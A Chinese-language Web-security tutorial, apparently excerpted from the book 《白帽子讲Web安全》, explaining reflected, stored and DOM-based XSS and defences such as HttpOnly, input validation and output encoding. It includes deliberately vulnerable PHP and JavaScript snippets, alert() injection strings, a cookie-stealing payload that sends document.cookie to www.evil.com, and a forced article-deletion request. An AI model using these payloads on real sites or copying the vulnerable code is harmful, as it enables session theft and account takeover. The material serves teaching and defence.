跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”。
XSS 攻击,通常指黑客利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,从而通过“HTML注入”篡改了网页,插入了恶意的脚本,然后在用户浏览网页时,控制用户浏览器(盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害)的一种攻击方式。
反射型 XSS 也叫做“非持久型XSS”(Non-per-sistent XSS),它是最常见的类型的 XSS。
反射型 XSS 只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。
假设一个页面把用户输入的参数直接输出到页面上:
// test.php
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>
用户向 param 提交的数据会展示到页面中,比如提交:
http://www.a.com/test.php?param=这是一个测试!
这样在页面就会显示 这是一个测试!
。
但是如果提交一段HTML代码:
http://www.a.com/test.php?param=<script>alert(/xss/)</script>
此时页面源码以及嵌入 <script>alert(/xss/)</script>
,那么 alert(/xss/)
将会在当前页面执行,而这显然不是开发者所希望看到的,对于黑客来说这样就完成了一次攻击了。
存储型 XSS 通常也叫做“持久型XSS”(Persistent XSS),因为从效果上来说,它存在的时间是比较长的。
存储型 XSS 会把用户输入的数据“存储”在服务器端。这种 XSS 具有很强的稳定性。
假设在文章下面的评论区有这样的一个评论表单提交代码:
<input type="text" name="content" value="这里是用户填写的数据">
用户提交正常的评论内容(如 “这是一篇好文章啊!”),然后该评论内容将存储到数据库中。等其他用户查看该文章时,从数据库将评论内容取出并显示。
黑客提交 <script>alert(/xss/)</script>
这样的评论内容,然后该评论内容将存储到数据库中。等其他用户查看该文章时,从数据库中取出并显示,此时浏览器将执行这段攻击代码。
实际上,这种类型的 XSS 并非按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型 XSS。单独划分出来,是因为 DOM Based XSS 的形成原因比较特别,发现它的安全专家专门提出了这种类型的 XSS。出于历史原因,也就把它单独作为一个分类了。
DOM Based XSS 通过修改页面的 DOM 节点形成的 XSS。
<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
点击“write”按钮后,会在当前页面插入一个超链接,其地址为文本框的内容。
在文本框输入 ' onclick=alert(/xss/) //
,这样生成的超链接为 <a href='' onlick=alert(/xss/)//' >testLink</a>
,原理就是用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。这样点击新生成的超链接,就会执行攻击代码了。
还有另外一种攻击方式,将 <a>
标签闭合掉,然后插入一个新的 HTML 标签,如下示例:
在文本框输入 '><img src=# onerror=alert(/xss2/) /><'
,这样生成的超链接变为 <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>
,图片加载失败之后就会执行攻击代码了。
前文谈到了 XSS 的几种分类。接下来,就从攻击的角度来体验一下 XSS 的威力。
XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。
XSS Payload 实际上就是 JavaScript 脚本(还可以是 Flash 或其他富客户端的脚本),所以任何 JavaScript 脚本能实现的功能,XSS Payload 都能做到。
通过 XSS Payload 可以实现如下攻击:
在当前的 Web 中,Cookie 一般是用户登录的凭证,浏览器发起的所有请求都会自动带上 Cookie。如果 Cookie 没有绑定客户端信息,当攻击者窃取了 Cookie 后,就可以不用密码登录进用户的账户。
攻击代码:
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器,这样,就完成了一个简单的窃取 Cookie 的 XSS Payload。
然后使用窃取到的 Cookie 通过自定义 Cookie 的方式访问网站,达到登录目标用户的账户的目的。
一个网站通过 HTTP 协议中的 GET 或 POST 请求即可完成所有操作,因此可通过让浏览器对目标网站发起这两种请求来达到攻击的目的。
假设某个网站有这样的一个删除文章的请求:
http://www.test.com/blog/delete?id=156713012
对于攻击者来说,只需要知道文章的 id,就能够通过这个请求删除这篇文章了。
攻击代码:
var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img);
攻击者只需要让博客的作者执行这段 JavaScript 代码(XSSPayload),就会把这篇文章删除。在具体攻击中,攻击者将通过 XSS 诱使用户执行 XSS Payload。
如果通过构造 POST 请求(表单提交)进行攻击时,在提交表单时要求用户输入验证码,那么一般的 XSS Payload 都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。
对于验证码,XSS Payload 可以通过读取页面内容,将验证码的图片 URL 发送到远程服务器上来实施——黑客可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的 XSS Payload,从而绕过验证码。
修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将 XSS 与“钓鱼”相结合。实现思路很简单:利用 JavaScript 在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。
知道了用户使用的浏览器、操作系统后,进一步可以识别用户安装的软件。
在IE中,可以通过判断 ActiveX 控件的 classid 是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”——黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
攻击代码:
try {
var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
// 异常了,不存在该控件
}
这段代码检测迅雷的一个控件(“XunLeiBHO.Thun-derIEHelper”)是否存在。如果用户安装了迅雷软件,则默认也会安装此控件。因此通过判断此控件,即可推测用户安装了迅雷软件的可能性。
我们再看看另外一个有趣的 XSS Payload——通过 CSS,来发现一个用户曾经访问过的网站。其原理是利用 style 的 visited 属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。
通过 XSS Payload 还有办法获取一些客户端的本地IP地址。
很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在 NAT 后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?
JavaScript 本身并没有提供获取本地IP地址的能力,有没有其他办法?一般来说,XSS 攻击需要借助第三方软件来完成。比如,客户端安装了 Java 环境(JRE),那么 XSS 就可以通过调用 Java Applet 的接口获取客户端的本地 IP 地址。
浏览器禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie。因此 HttpOnly 可以对抗 XSS 后的 Cookie 劫持攻击。
常见的Web漏洞如 XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。比如“hello1234”是一个合法的用户名,而“hello#$^”就是一个非法的用户名。
又如注册时填写的电话、邮件、生日等信息,都有一定的格式规范。比如手机号码,应该是不长于16位的数字,且中国大陆地区的手机号码可能是13x、15x开头的,否则即为非法。
这些格式检查,有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效。
输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。
既然“输入检查”存在这么多问题,那么“输出检查”又如何呢?
一般来说,除了富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。
编码分为很多种,针对 HTML 代码的编码方式是 HtmlEn-code。
HtmlEncode 并非专用名词,它只是一种函数实现。它的作用是将字符转换成 HTMLEntities,对应的标准是 ISO-8859-1。
为了对抗 XSS,在 HtmlEncode 中要求至少转换以下字符:
& --> &
< --> <
>--> >
" --> "
' --> ' '
不推荐
/ --> /
包含反斜线是因为它可能会闭合一些 HTML entity
JavaScript 的编码方式可以使用 JavascriptEncode。JavascriptEncode 与 HtmlEncode 的编码方法不同,它需要使用“\”对特殊字符进行转义。在对抗 XSS 时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法:
var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"';
如果 escapeJavascript() 函数只转义了几个危险字符,比如 ‘、”、<、>、\、&、#
等,那么上面的两行代码输出后可能会变成:
var x = 1;alert(2); // 执行了额外的代码
var y = "1;alert(2)"; // 安全
所以要求使用 JavascriptEncode 的变量输出一定要在引号内。
可是很多开发者没有这个习惯怎么办?这就只能使用一个更加严格的 JavascriptEncode 函数来保证安全——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码。在本例中:
var x = 1;alert(2); 变为 var x = 1\x3balert\x282\x29; // 保证是安全的
《白帽子讲Web安全》